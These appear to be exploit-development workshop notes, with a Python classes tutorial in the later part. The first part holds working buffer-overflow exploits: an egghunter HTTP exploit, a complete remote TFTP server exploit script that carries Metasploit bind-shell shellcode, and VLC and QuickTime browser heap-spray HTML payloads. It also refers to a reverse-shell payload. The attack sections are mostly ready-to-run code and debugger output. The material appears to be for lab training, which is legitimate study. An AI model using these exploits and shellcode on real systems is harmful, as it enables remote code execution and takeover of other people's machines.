 GET /AAAAAAAAAAA...225...AAAAAAAAAA[ EIP ]$egghunter HTTP/1.0
 User-Agent: ABBAABBA LARGE SHELLCODE (Alpha2 encoded)
 
 
 
 
 -----sws3.py-----
 #!/usr/bin/python2
 
 import os # for output setting
 import sys
 import struct # for pack function
 
 # turn off output buffer and set binary mode
 sys.stdout = os.fdopen(sys.stdout.fileno(), 'wb', 0)
 
 
 pad = "A" * 225        # distance to EIP
 eip = 0x7e429353       # replace EIP to point to "jmp esp" from user32.dll
 
 egghunter = "\x66\x81\xCA\xFF\x0F\x42\x52\x6A\x02\x58\xCD\x2E\x3C\x05\x5A\x74"
 egghunter += "\xEF\xB8\x41\x42\x42\x41\x8B\xFA\xAF\x75\xEA\xAF\x75\xE7\xFF\xE7"
 
 shellcode = "\xCC" * 700
 
 buf = "GET /"
 buf += pad + struct.pack('<I', eip) + egghunter
 buf += " HTTP/1.0\r\n"
 buf += "User-Agent: ABBAABBA"
 buf += shellcode
 buf += " HTTP/1.0\r\n"
 
 sys.stdout.write(buf)
 -----
 
 
 
 
 ############################################
 # Lab 2b: Not Enough Space (Negative Jump) #
 ############################################
 ---------------------------Type This-----------------------------------
 
 cd C:\Documents and Settings\strategic security\Desktop\ED-Workshop-Files\Lab2a\modjk_skeleton
 -----------------------------------------------------------------------
 
 
 [pad = distance_to_seh - len(shellcode) ] [ shellcode] [jmp4 = "\x90\x90\xEB\x04"] [eip (pop pop ret)] [jmp_min = "\xE9\x98\xEF\xFF\xFF"]
 
                                                                         ^
 1 ----------------------1 overflow the buffer---------------------------|
 
                                                                         ^                            ^
                                                                         |
                                                                         2 ----jump over seh record---|
 
                                                                                                      ^                          ^
                                                                                                      |
                                                                                                      3--POP 2 words off stack---|
 
                                                                                                                                         ^
 4 -----negative jump into NOPs - then into shellcode -----------------------------------------------------------------------------------|
 
 
 #########################################
 # Lab 2c: Not Enough Space (Trampoline) #
 #########################################
 
 cd C:\Documents and Settings\strategic security\Desktop\ED-Workshop-Files\Lab2c\tftpd_skeleton
 On the Strategicsec-XP-ED-Target-VM VM
 
 - open a command prompt
 - c:\software\tftpd32
 - run tftpd32.exe
 - UDP port 69
 (socket code is already in the scripts)
 
 
 
 
 On your attack host please install:
 
 
   NASM - Netwide Assembler
 
 
 
 
 
 -----------------------------------------------------------------------------------------------------------------
 
 
 We want to generate the shellcode (BIND SHELL on Port 4444)
 - No restricted characters
 - Encoder: NONE
 
 Create a Python file called dumpshellcode.py
 
 ---
 #!/usr/bin/python2
 
 import os
 import sys
 import struct
 
 
 # win32_bind -  EXITFUNC=seh LPORT=4444 Size=317 Encoder=None http://metasploit.com
 shellcode = "\xfc\x6a\xeb\x4d\xe8\xf9\xff\xff\xff\x60\x8b\x6c\x24\x24\x8b\x45"
 shellcode += "\x3c\x8b\x7c\x05\x78\x01\xef\x8b\x4f\x18\x8b\x5f\x20\x01\xeb\x49"
 shellcode += "\x8b\x34\x8b\x01\xee\x31\xc0\x99\xac\x84\xc0\x74\x07\xc1\xca\x0d"
 shellcode += "\x01\xc2\xeb\xf4\x3b\x54\x24\x28\x75\xe5\x8b\x5f\x24\x01\xeb\x66"
 shellcode += "\x8b\x0c\x4b\x8b\x5f\x1c\x01\xeb\x03\x2c\x8b\x89\x6c\x24\x1c\x61"
 shellcode += "\xc3\x31\xdb\x64\x8b\x43\x30\x8b\x40\x0c\x8b\x70\x1c\xad\x8b\x40"
 shellcode += "\x08\x5e\x68\x8e\x4e\x0e\xec\x50\xff\xd6\x66\x53\x66\x68\x33\x32"
 shellcode += "\x68\x77\x73\x32\x5f\x54\xff\xd0\x68\xcb\xed\xfc\x3b\x50\xff\xd6"
 shellcode += "\x5f\x89\xe5\x66\x81\xed\x08\x02\x55\x6a\x02\xff\xd0\x68\xd9\x09"
 shellcode += "\xf5\xad\x57\xff\xd6\x53\x53\x53\x53\x53\x43\x53\x43\x53\xff\xd0"
 shellcode += "\x66\x68\x11\x5c\x66\x53\x89\xe1\x95\x68\xa4\x1a\x70\xc7\x57\xff"
 shellcode += "\xd6\x6a\x10\x51\x55\xff\xd0\x68\xa4\xad\x2e\xe9\x57\xff\xd6\x53"
 shellcode += "\x55\xff\xd0\x68\xe5\x49\x86\x49\x57\xff\xd6\x50\x54\x54\x55\xff"
 shellcode += "\xd0\x93\x68\xe7\x79\xc6\x79\x57\xff\xd6\x55\xff\xd0\x66\x6a\x64"
 shellcode += "\x66\x68\x63\x6d\x89\xe5\x6a\x50\x59\x29\xcc\x89\xe7\x6a\x44\x89"
 shellcode += "\xe2\x31\xc0\xf3\xaa\xfe\x42\x2d\xfe\x42\x2c\x93\x8d\x7a\x38\xab"
 shellcode += "\xab\xab\x68\x72\xfe\xb3\x16\xff\x75\x44\xff\xd6\x5b\x57\x52\x51"
 shellcode += "\x51\x51\x6a\x01\x51\x51\x55\x51\xff\xd0\x68\xad\xd9\x05\xce\x53"
 shellcode += "\xff\xd6\x6a\xff\xff\x37\xff\xd0\x8b\x57\xfc\x83\xc4\x64\xff\xd6"
 shellcode += "\x52\xff\xd0\x68\xf0\x8a\x04\x5f\x53\xff\xd6\xff\xd0"
 
 sys.stdout.write(shellcode)
 ---
 
 ---------------------------Type This-----------------------------------
 
 
 python dumpshell.py > bindshell.bin
 
 copy bindshellcode.bin into the "c:\Program Files\nasm" directory
 -----------------------------------------------------------------------
 
 
 
 Here we saved the raw shellcode generated by metasploit into a file called bindshell.bin
 317 bindshell.bin
 ---------------------------Type This-----------------------------------
 
 C:\Program Files\nasm>ndisasm -b 32 bindshell.bin
 -----------------------------------------------------------------------
 
 00000000  FC                cld
 00000001  6AEB              push byte -0x15
 00000003  4D                dec ebp
 00000004  E8F9FFFFFF        call dword 0x2
 00000009  60                pushad
 0000000A  8B6C2424          mov ebp,[esp+0x24]
 0000000E  8B453C            mov eax,[ebp+0x3c]
 00000011  8B7C0578          mov edi,[ebp+eax+0x78]
 00000015  01EF              add edi,ebp
 00000017  8B4F18            mov ecx,[edi+0x18]
 0000001A  8B5F20            mov ebx,[edi+0x20]
 0000001D  01EB              add ebx,ebp
 0000001F  49                dec ecx
 00000020  8B348B            mov esi,[ebx+ecx*4]
 00000023  01EE              add esi,ebp
 00000025  31C0              xor eax,eax
 00000027  99                cdq
 00000028  AC                lodsb
 00000029  84C0              test al,al
 0000002B  7407              jz 0x34
 0000002D  C1CA0D            ror edx,0xd
 00000030  01C2              add edx,eax
 00000032  EBF4              jmp short 0x28
 00000034  3B542428          cmp edx,[esp+0x28]
 00000038  75E5              jnz 0x1f
 0000003A  8B5F24            mov ebx,[edi+0x24]
 0000003D  01EB              add ebx,ebp
 0000003F  668B0C4B          mov cx,[ebx+ecx*2]
 00000043  8B5F1C            mov ebx,[edi+0x1c]
 00000046  01EB              add ebx,ebp
 00000048  032C8B            add ebp,[ebx+ecx*4]
 0000004B  896C241C          mov [esp+0x1c],ebp
 0000004F  61                popad
 00000050  C3                ret
 00000051  31DB              xor ebx,ebx
 00000053  648B4330          mov eax,[fs:ebx+0x30]
 00000057  8B400C            mov eax,[eax+0xc]
 0000005A  8B701C            mov esi,[eax+0x1c]
 0000005D  AD                lodsd
 0000005E  8B4008            mov eax,[eax+0x8]
 00000061  5E                pop esi
 00000062  688E4E0EEC        push dword 0xec0e4e8e
 00000067  50                push eax
 00000068  FFD6              call esi
 0000006A  6653              push bx
 0000006C  66683332          push word 0x3233
 00000070  687773325F        push dword 0x5f327377
 00000075  54                push esp
 00000076  FFD0              call eax
 00000078  68CBEDFC3B        push dword 0x3bfcedcb
 0000007D  50                push eax
 0000007E  FFD6              call esi                     PART 1
 00000080  5F                pop edi
 00000081  89E5              mov ebp,esp
 00000083  6681ED0802        sub bp,0x208
 00000088  55                push ebp
 00000089  6A02              push byte +0x2
 0000008B  FFD0              call eax
 0000008D  68D909F5AD        push dword 0xadf509d9
 00000092  57                push edi
 00000093  FFD6              call esi
 00000095  53                push ebx
 00000096  53                push ebx
 --------------------------------------------CUTCUTCUTCUTCUT----8<---8<---8<---
 00000097  53                push ebx
 00000098  53                push ebx
 00000099  53                push ebx
 0000009A  43                inc ebx
 0000009B  53                push ebx
 0000009C  43                inc ebx
 0000009D  53                push ebx                       PART 2
 0000009E  FFD0              call eax
 000000A0  6668115C          push word 0x5c11
 000000A4  6653              push bx
 000000A6  89E1              mov ecx,esp
 000000A8  95                xchg eax,ebp
 000000A9  68A41A70C7        push dword 0xc7701aa4
 000000AE  57                push edi
 000000AF  FFD6              call esi
 000000B1  6A10              push byte +0x10
 000000B3  51                push ecx
 000000B4  55                push ebp
 000000B5  FFD0              call eax
 000000B7  68A4AD2EE9        push dword 0xe92eada4
 000000BC  57                push edi
 000000BD  FFD6              call esi
 000000BF  53                push ebx
 000000C0  55                push ebp
 000000C1  FFD0              call eax
 000000C3  68E5498649        push dword 0x498649e5
 000000C8  57                push edi
 000000C9  FFD6              call esi
 000000CB  50                push eax
 000000CC  54                push esp
 000000CD  54                push esp
 000000CE  55                push ebp
 000000CF  FFD0              call eax
 000000D1  93                xchg eax,ebx
 000000D2  68E779C679        push dword 0x79c679e7
 000000D7  57                push edi
 000000D8  FFD6              call esi
 000000DA  55                push ebp
 000000DB  FFD0              call eax
 000000DD  666A64            push word 0x64
 000000E0  6668636D          push word 0x6d63
 000000E4  89E5              mov ebp,esp
 000000E6  6A50              push byte +0x50
 000000E8  59                pop ecx
 000000E9  29CC              sub esp,ecx
 000000EB  89E7              mov edi,esp
 000000ED  6A44              push byte +0x44
 000000EF  89E2              mov edx,esp
 000000F1  31C0              xor eax,eax
 000000F3  F3AA              rep stosb
 000000F5  FE422D            inc byte [edx+0x2d]
 000000F8  FE422C            inc byte [edx+0x2c]
 000000FB  93                xchg eax,ebx
 000000FC  8D7A38            lea edi,[edx+0x38]
 000000FF  AB                stosd
 00000100  AB                stosd
 00000101  AB                stosd
 00000102  6872FEB316        push dword 0x16b3fe72
 00000107  FF7544            push dword [ebp+0x44]
 0000010A  FFD6              call esi
 0000010C  5B                pop ebx
 0000010D  57                push edi
 0000010E  52                push edx
 0000010F  51                push ecx
 00000110  51                push ecx
 00000111  51                push ecx
 00000112  6A01              push byte +0x1
 00000114  51                push ecx
 00000115  51                push ecx
 00000116  55                push ebp
 00000117  51                push ecx
 00000118  FFD0              call eax
 0000011A  68ADD905CE        push dword 0xce05d9ad
 0000011F  53                push ebx
 00000120  FFD6              call esi
 00000122  6AFF              push byte -0x1
 00000124  FF37              push dword [edi]
 00000126  FFD0              call eax
 00000128  8B57FC            mov edx,[edi-0x4]
 0000012B  83C464            add esp,byte +0x64
 0000012E  FFD6              call esi
 00000130  52                push edx
 00000131  FFD0              call eax
 00000133  68F08A045F        push dword 0x5f048af0
 00000138  53                push ebx
 00000139  FFD6              call esi
 0000013B  FFD0              call eax
 
 
 
 
 part1 = "\xfc\x6a\xeb\x4d\xe8\xf9\xff\xff\xff\x60\x8b\x6c\x24\x24\x8b\x45"
 part1 += "\x3c\x8b\x7c\x05\x78\x01\xef\x8b\x4f\x18\x8b\x5f\x20\x01\xeb\x49"
 part1 += "\x8b\x34\x8b\x01\xee\x31\xc0\x99\xac\x84\xc0\x74\x07\xc1\xca\x0d"
 part1 += "\x01\xc2\xeb\xf4\x3b\x54\x24\x28\x75\xe5\x8b\x5f\x24\x01\xeb\x66"
 part1 += "\x8b\x0c\x4b\x8b\x5f\x1c\x01\xeb\x03\x2c\x8b\x89\x6c\x24\x1c\x61"
 part1 += "\xc3\x31\xdb\x64\x8b\x43\x30\x8b\x40\x0c\x8b\x70\x1c\xad\x8b\x40"
 part1 += "\x08\x5e\x68\x8e\x4e\x0e\xec\x50\xff\xd6\x66\x53\x66\x68\x33\x32"
 part1 += "\x68\x77\x73\x32\x5f\x54\xff\xd0\x68\xcb\xed\xfc\x3b\x50\xff\xd6"
 part1 += "\x5f\x89\xe5\x66\x81\xed\x08\x02\x55\x6a\x02\xff\xd0\x68\xd9\x09"
 part1 += "\xf5\xad\x57\xff\xd6\x53\x53"
 
 
 part2 = "\x53\x53\x53\x43\x53\x43\x53\xff\xd0"
 part2 += "\x66\x68\x11\x5c\x66\x53\x89\xe1\x95\x68\xa4\x1a\x70\xc7\x57\xff"
 part2 += "\xd6\x6a\x10\x51\x55\xff\xd0\x68\xa4\xad\x2e\xe9\x57\xff\xd6\x53"
 part2 += "\x55\xff\xd0\x68\xe5\x49\x86\x49\x57\xff\xd6\x50\x54\x54\x55\xff"
 part2 += "\xd0\x93\x68\xe7\x79\xc6\x79\x57\xff\xd6\x55\xff\xd0\x66\x6a\x64"
 part2 += "\x66\x68\x63\x6d\x89\xe5\x6a\x50\x59\x29\xcc\x89\xe7\x6a\x44\x89"
 part2 += "\xe2\x31\xc0\xf3\xaa\xfe\x42\x2d\xfe\x42\x2c\x93\x8d\x7a\x38\xab"
 part2 += "\xab\xab\x68\x72\xfe\xb3\x16\xff\x75\x44\xff\xd6\x5b\x57\x52\x51"
 part2 += "\x51\x51\x6a\x01\x51\x51\x55\x51\xff\xd0\x68\xad\xd9\x05\xce\x53"
 part2 += "\xff\xd6\x6a\xff\xff\x37\xff\xd0\x8b\x57\xfc\x83\xc4\x64\xff\xd6"
 part2 += "\x52\xff\xd0\x68\xf0\x8a\x04\x5f\x53\xff\xd6\xff\xd0"
 
 
 STACK SHIFTER:
 prepend = "\x81\xC4\xFF\xEF\xFF\xFF"  # add esp, -1001h
 prepend += "\x44"                     # inc esp
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 ---- final script ----
 
 #!/usr/bin/python2
 #TFTP Server remote Buffer Overflow
 
 import sys
 import socket
 import struct
 
 if len(sys.argv) < 2:
         sys.stderr.write("Usage: tftpd.py <host>\n")
         sys.exit(1)
 
 target = sys.argv[1]
 port = 69
 
 eip = 0x7e429353         # jmp esp in USER32.DLL
 
 part1 += "\xfc\x6a\xeb\x4d\xe8\xf9\xff\xff\xff\x60\x8b\x6c\x24\x24\x8b\x45"
 part1 += "\x3c\x8b\x7c\x05\x78\x01\xef\x8b\x4f\x18\x8b\x5f\x20\x01\xeb\x49"
 part1 += "\x8b\x34\x8b\x01\xee\x31\xc0\x99\xac\x84\xc0\x74\x07\xc1\xca\x0d"
 part1 += "\x01\xc2\xeb\xf4\x3b\x54\x24\x28\x75\xe5\x8b\x5f\x24\x01\xeb\x66"
 part1 += "\x8b\x0c\x4b\x8b\x5f\x1c\x01\xeb\x03\x2c\x8b\x89\x6c\x24\x1c\x61"
 part1 += "\xc3\x31\xdb\x64\x8b\x43\x30\x8b\x40\x0c\x8b\x70\x1c\xad\x8b\x40"
 part1 += "\x08\x5e\x68\x8e\x4e\x0e\xec\x50\xff\xd6\x66\x53\x66\x68\x33\x32"
 part1 += "\x68\x77\x73\x32\x5f\x54\xff\xd0\x68\xcb\xed\xfc\x3b\x50\xff\xd6"
 part1 += "\x5f\x89\xe5\x66\x81\xed\x08\x02\x55\x6a\x02\xff\xd0\x68\xd9\x09"
 part1 += "\xf5\xad\x57\xff\xd6\x53\x53"
 
 part2 = "\x53\x53\x53\x43\x53\x43\x53\xff\xd0"
 part2 += "\x66\x68\x11\x5c\x66\x53\x89\xe1\x95\x68\xa4\x1a\x70\xc7\x57\xff"
 part2 += "\xd6\x6a\x10\x51\x55\xff\xd0\x68\xa4\xad\x2e\xe9\x57\xff\xd6\x53"
 part2 += "\x55\xff\xd0\x68\xe5\x49\x86\x49\x57\xff\xd6\x50\x54\x54\x55\xff"
 part2 += "\xd0\x93\x68\xe7\x79\xc6\x79\x57\xff\xd6\x55\xff\xd0\x66\x6a\x64"
 part2 += "\x66\x68\x63\x6d\x89\xe5\x6a\x50\x59\x29\xcc\x89\xe7\x6a\x44\x89"
 part2 += "\xe2\x31\xc0\xf3\xaa\xfe\x42\x2d\xfe\x42\x2c\x93\x8d\x7a\x38\xab"
 part2 += "\xab\xab\x68\x72\xfe\xb3\x16\xff\x75\x44\xff\xd6\x5b\x57\x52\x51"
 part2 += "\x51\x51\x6a\x01\x51\x51\x55\x51\xff\xd0\x68\xad\xd9\x05\xce\x53"
 part2 += "\xff\xd6\x6a\xff\xff\x37\xff\xd0\x8b\x57\xfc\x83\xc4\x64\xff\xd6"
 part2 += "\x52\xff\xd0\x68\xf0\x8a\x04\x5f\x53\xff\xd6\xff\xd0"
 
 prepend = "\x81\xC4\xFF\xEF\xFF\xFF"                    # add esp, -1001h
 prepend += "\x44"                                       # inc esp
 
 buf = "\x00\x01"                                        # receive command
 
 buf += "\x90" * (256 - len(part2))                      # NOPs
 buf += part2                                            # shellcode part 2
 buf += struct.pack('<I', eip)                           # EIP (JMP ESP)
 buf += prepend                                          # stack shifter
 buf += part1                                            # shellcode part 1
 buf += "\xE9" + struct.pack('<i', -380)                 # JMP -380
 buf += "\x00"                                           # END
 
 # print buf
 
 # buf = "\x00\x01"                                      # receive command
 
 # buf += "A" * 300 + "\x00"
 
 sock = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
 
 try:
         sock.connect((target, port))
         sock.sendall(buf)
 except Exception as e:
         sys.stderr.write("Cannot send to "+str(target)+" : "+str(port)+" : "+str(e)+"!\n")
 finally:
         sock.close()
         sys.stderr.write("Sent.\n")
 
 
 
 -----------------------------------------------------------------------------------------------------------------
 
 
 
 
 How does all of this actually work
 
 
 
 
 Total shellcode length:         315
 
                                 Part1:  150
                                 Part2:  165
 
 
 NOPS * (256 - 165)
 
 91 NOPS + (165 bytes shellcode p2) + JMP ESP (4 bytes) + Stack Shift (-1000) + (150 bytes shellcode p1) + (neg jmp -380)
                         |                       |                                       |
                         256                     260                                     150 (410)               |
   |<------------------------------------------------------------------------------------------------------------|
  Jump to the
  30 byte mark
 
 
 
 ############################
 # Lab 3: Browsers Exploits #
 ############################
 
 ---------------------------Type This-----------------------------------
 
 cd C:\Documents and Settings\strategic security\Desktop\ED-Workshop-Files\Lab3\ffvlc_skeleton
 -----------------------------------------------------------------------
 
 
 Quicktime - overflow, if we send a very long rtsp:// URL, Quicktime crashes
 rtsp://AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA......50000
 
 <object id=quicktime clsid="999-999999-99-99999">
   <param name="URL" value="rtsp://AAAAAAAAAAAAAAAAAAAAAAAAA....">
 </object>
 
 var buf = "";
 for(i = 0; i < 50000; i++)
    buf += "A";
 var myobject = document.getElementById("quicktime");
 myobject.url = buf;
 
 YOU CAN PRE-LOAD THE PROCESS MEMORY MORE OR LESS IN A WAY YOU LIKE BEFORE TRIGGERING THE EXPLOIT!!!!
 
 - Browsers (Flash)
 - PDF
 - MS Office / OOo
 
 VLC smb:// exploit
 ------------------
 
 EXPLOIT VECTOR
 
 smb://example.com@0.0.0.0/foo/#{AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA}
 
 Exploit Scripts
 - ffvlc
 
 ON YOUR HOST, RUN THE WEBSERVER ON PORT 8080
 
 ---------------------------Type This-----------------------------------
 
 perl daemon.pl vlc0.html
 -----------------------------------------------------------------------
 
 ON YOUR Strategicsec-XP-ED-Target-VM VM, START FIREFOX
 Browse to http://your_host_ip_address:8080/
 
 vlc0.html
 ---------
 <script>
    var buf = "";
    for(i = 0; i < 1250; i++)
       buf += unescape("%41%41%41%41");
    var track = "smb://example.com\@0.0.0.0/foo/#{" + buf + "}";
    document.write("<embed type='application/x-vlc-plugin' target='" + track + "' />");
 </script>
 
 vlc1.html
 ---------
 <script>
 
    // shellcode created in heap memory
    var shellcode = unescape("%ucccc%ucccc%ucccc%ucccc%ucccc%ucccc%ucccc%ucccc");
 
    // 800K block of NOPS
    var nop = unescape("%u9090%u09090");   // 4 NOPS
    while(nop.length < 0xc0000) {
       nop += nop;
    }
 
    // spray the heap with NOP+shellcode
    var memory = new Array();
    for(i = 0; i < 50; i++) {
       memory[i] = nop + shellcode;
    }
 
    // build the exploit payload
    var buf = "";
    for(i = 0; i < 1250; i++)
       buf += unescape("%41%41%41%41");
    var track = "smb://example.com\@0.0.0.0/foo/#{" + buf + "}";
 
    // trigger the exploit
    document.write("<embed type='application/x-vlc-plugin' target='" + track + "' />");
 </script>
 
 ---------------------------Type This-----------------------------------
 
 perl daemon.pl vlc1.html
 -----------------------------------------------------------------------
 
 Search for where our NOPS+shellcode lies in the heap
 
 s 0 l fffffff 90 90 90 90 cc cc cc cc
 
 0:019> s 0 l fffffff 90 90 90 90 cc cc cc cc
 03dffffc  90 90 90 90 cc cc cc cc-cc cc cc cc cc cc cc cc  ................
 040ffffc  90 90 90 90 cc cc cc cc-cc cc cc cc cc cc cc cc  ................
 043ffffc  90 90 90 90 cc cc cc cc-cc cc cc cc cc cc cc cc  ................
 046ffffc  90 90 90 90 cc cc cc cc-cc cc cc cc cc cc cc cc  ................
 049ffffc  90 90 90 90 cc cc cc cc-cc cc cc cc cc cc cc cc  ................
 04cffffc  90 90 90 90 cc cc cc cc-cc cc cc cc cc cc cc cc  ................
 04fffffc  90 90 90 90 cc cc cc cc-cc cc cc cc cc cc cc cc  ................
 052ffffc  90 90 90 90 cc cc cc cc-cc cc cc cc cc cc cc cc  ................
 055ffffc  90 90 90 90 cc cc cc cc-cc cc cc cc cc cc cc cc  ................
 058ffffc  90 90 90 90 cc cc cc cc-cc cc cc cc cc cc cc cc  ................
 05bffffc  90 90 90 90 cc cc cc cc-cc cc cc cc cc cc cc cc  ................
 05effffc  90 90 90 90 cc cc cc cc-cc cc cc cc cc cc cc cc  ................
 061ffffc  90 90 90 90 cc cc cc cc-cc cc cc cc cc cc cc cc  ................
 064ffffc  90 90 90 90 cc cc cc cc-cc cc cc cc cc cc cc cc  ................
 067ffffc  90 90 90 90 cc cc cc cc-cc cc cc cc cc cc cc cc  ................
 06affffc  90 90 90 90 cc cc cc cc-cc cc cc cc cc cc cc cc  ................
 
 Edit vlc2.html
 replace %41%41%41%41 with %07%07%07%07
 
 (928.fd0): Break instruction exception - code 80000003 (first chance)
 eax=fffffd66 ebx=07070707 ecx=77c2c2e3 edx=00340000 esi=07070707 edi=07070707
 eip=07100000 esp=0e7afc58 ebp=07070707 iopl=0         nv up ei pl nz ac pe nc
 cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000216
 07100000 cc              int     3
 0:019> u
 07100000 cc              int     3
 07100001 cc              int     3
 07100002 cc              int     3
 07100003 cc              int     3
 07100004 cc              int     3
 07100005 cc              int     3
 07100006 cc              int     3
 07100007 cc              int     3
 
 Create vlc3.html (Copy vlc2.html to vlc3.html)
 ----------------------------------------------
 Win32 Reverse Shell
 - no restricted characters
 - Encoder NONE
 - use the Javascript encoded payload generated by msfweb
 
 ##########################
 # Python Lambda Function #
 ##########################
 
 
 Python allows you to create anonymous function i.e function having no names using a facility called lambda function.
 
 lambda functions are small functions usually not more than a line. It can have any number of arguments just like a normal function. The body of lambda functions is very small and consists of only one expression. The result of the expression is the value when the lambda is applied to an argument. Also there is no need for any return statement in lambda function.
 
 Let’s take an example:
 
 Consider a function multiply()
 
 def multiply(x, y):
     return x * y
 
 
 This function is too small, so let’s convert it into a lambda function.
 
 To create a lambda function first write keyword lambda followed by one of more arguments separated by comma, followed by colon sign ( : ), followed by a single line expression.
 
 ---------------------------Type This-----------------------------------
 
 >>> r = lambda x, y: x * y
 >>> r(12,3)
 36
 -----------------------------------------------------------------------
 
 Here we are using two arguments x  and y , expression after colon is the body of the lambda function. As you can see lambda function has no name and is called through the variable it is assigned to.
 
 You don’t need to assign lambda function to a variable.
 
 ---------------------------Type This-----------------------------------
 
 >>> (lambda x, y: x * y)(3,4)
 12
 -----------------------------------------------------------------------
 
 Note that lambda function can’t contain more than one expression.
 
 
 
 ##################
 # Python Classes #
 ##################
 
 
 ****************
 * Introduction *
 ****************
 
 Classes are the cornerstone of Object Oriented Programming. They are the blueprints used to create objects. And, as the name suggests, all of Object Oriented Programming centers around the use of objects to build programs.
 
 You don't write objects, not really. They are created, or instantiated, in a program using a class as their basis. So, you design objects by writing classes. That means that the most important part of understanding Object Oriented Programming is understanding what classes are and how they work.
 
 
 ***********************
 * Real World Examples *
 ***********************
 
 
 This next part if going to get abstract. You can think of objects in programming just like objects in the real world. Classes are then the way you would describe those objects and the plans for what they can do.
 
 Start off by thinking about a web vuln scanner.
 
 What about what they can do? Nearly every web vuln scanner can do the same basic things, but they just might do them differently or at different speeds. You could then describe the actions that a vuln scanner can perform using functions. In Object Oriented Programming, though, functions are called methods.
 
 So, if you were looking to use "vuln scanner" objects in your program, you would create a "vuln scanner" class to serve as a blueprint with all of the variables that you would want to hold information about your "vuln scanner" objects and all of the methods to describe what you would like your vuln scanner to be able to do.
 
 
 ******************
 * A Python Class *
 ******************
 
 
 Now that you have a general idea of what a class is, it's best to take a look at a real Python class and study how it is structured.
 
 ---------------------------Paste This-----------------------------------
 
 class WebVulnScanner(object):
     make = 'Acunetix'
     model = '10.5'
     year = '2014'
     version ='Consultant Edition'
 
     profile = 'High Risk'
 
 
     def crawling(self, speed):
         print("Crawling at %s" % speed)
 
 
     def scanning(self, speed):
         print("Scanning at %s" % speed)
 -----------------------------------------------------------------------
 
 
 Creating a class looks a lot like creating a function. Instead of def you use the keyword, class. Then, you give it a name, just like you would a function. It also has parenthesis like a function, but they don't work the way you think. For a class the parenthesis allow it to extend an existing class. Don't worry about this right now, just understand that you have to put object there because it's the base of all other classes.
 
 From there, you can see a bunch of familiar things that you'd see floating around any Python program, variables and functions. There are a series of variables with information about the scanner and a couple of methods(functions) describing what the scanner can do. You can see that each of the methods takes two parameters, self and speed. You can see that "speed" is used in the methods to print out how fast the scanner is scanning, but "self" is different.
 
 
 *****************
 * What is Self? *
 *****************
 
 Alright, so "self" is the biggest quirk in the way that Python handles Object Oriented Programming. In most languages, classes and objects are just aware of their variables in their methods. Python needs to be told to remember them. When you pass "self" to a method, you are essentially passing that object to its method to remind it of all of the variables and other methods in that object. You also need to use it when using variables in methods. For example, if you wanted to output the model of the scanner along with the speed, it looks like this.
 
 ---------------------------Type This-----------------------------------
 
 print("Your %s is crawling at %s" % (self.model, speed))
 -----------------------------------------------------------------------
 
 It's awkward and odd, but it works, and it's really not worth worrying about. Just remember to include "self" as the first parameter of your methods and "self." in front of your variables, and you'll be alright.
 
 
 *****************
 * Using A Class *
 *****************
 
 
 You're ready to start using the WebVulnScanner class. Create a new Python file and paste the class in. Below, you can create an object using it. Creating, or instantiating, an object in Python looks like the line below.
 ---------------------------Type This-----------------------------------
 
 myscanner = WebVulnScanner()
 -----------------------------------------------------------------------
 
 
 That's it. To create a new object, you just have to make a new variable and set it equal to class that you are basing your object on.
 
 Get your scanner object to print out its make and model.
 ---------------------------Type This-----------------------------------
 
 print("%s %s" % (myscanner.make, myscanner.model))
 -----------------------------------------------------------------------
 
 The use of a . between an object and its internal components is called the dot notation. It's very common in OOP. It works for methods the same way it does for variables.
 ---------------------------Type This-----------------------------------
 
 myscanner.scanning('10req/sec')
 -----------------------------------------------------------------------
 
 What if you want to change the profile of your scanning? You can definitely do that too, and it works just like changing the value of any other variable. Try printing out the profile of your scanner first. Then, change the profile, and print it out again.
 ---------------------------Type This-----------------------------------
 
 print("The profile of my scanner settings is %s" % myscanner.profile)
 myscanner.profile = "default"
 print("The profile of my scanner settings is %s" % myscanner.profile)
 -----------------------------------------------------------------------
 
 Your scanner settings are default now. What about a new WebVulnScanner? If you made a new scanner object, would the scanning profile be default? Give it a shot.
 ---------------------------Type This-----------------------------------
 
 mynewscanner = WebVulnScanner()
 print("The scanning profile of my new scanner is %s" % mynewscanner.profile)
 -----------------------------------------------------------------------
 
 That one's high risk. New objects are copied from the class, and the class still says that the profile is high risk. Objects exist in the computer's memory while a program is running. When you change the values within an object, they are specific to that object as it exists in memory. The changes won't persist once the program stops and won't change the class that it was created from.
 
 
 #########################################
 # The self variable in python explained #
 #########################################
 
 So lets start by making a class involving the self variable.
 
 A simple class :
 
 So here is our class:
 ---------------------------Paste This-----------------------------------
 
 class port(object):
     open = False
     def open_port(self):
         if not self.open:
             print("port open")
 
 -----------------------------------------------------------------------
 
 First let me explain the above code without the technicalities. First of all we make a class port. Then we assign it a property “open” which is currently false. After that we assign it a function open_port which can only occur if “open” is False which means that the port is open.
 
 Making a Port:
 
 Now that we have made a class for a Port, lets actually make a port:
 ---------------------------Type This-----------------------------------
 
 x = port()
 -----------------------------------------------------------------------
 
 Now x is a port which has a property open and a function open_port. Now we can access the property open by typing:
 ---------------------------Type This-----------------------------------
 
 x.open
 -----------------------------------------------------------------------
 
 The above command is same as:
 ---------------------------Type This-----------------------------------
 
 port().open
 -----------------------------------------------------------------------
 
 Now you can see that self refers to the bound variable or object. In the first case it was x because we had assigned the port class to x whereas in the second case it referred to port(). Now if we have another port y, self will know to access the open value of y and not x. For example check this example:
 ---------------------------Type This-----------------------------------
 
 >>> x = port()
 >>> x.open
 False
 >>> y = port()
